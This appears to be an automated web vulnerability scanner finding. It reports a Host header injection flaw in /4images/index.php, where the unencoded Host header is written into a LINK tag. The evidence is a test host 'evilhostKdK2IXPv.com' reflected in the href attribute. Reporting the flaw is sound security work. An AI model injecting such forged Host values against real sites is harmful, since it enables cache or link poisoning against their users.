Developers often resort to the exceedingly untrustworthy HTTP Host header (_SERVER["HTTP_HOST"] in PHP). Even otherwise-secure applications trust this value enough to write it to the page without HTML-encoding it with code equivalent to: <link href="http://_SERVER['HOST']" This vulnerability affects /4images/index.php. Host header evilhostKdK2IXPv.com was reflected inside a LINK tag (href attribute).
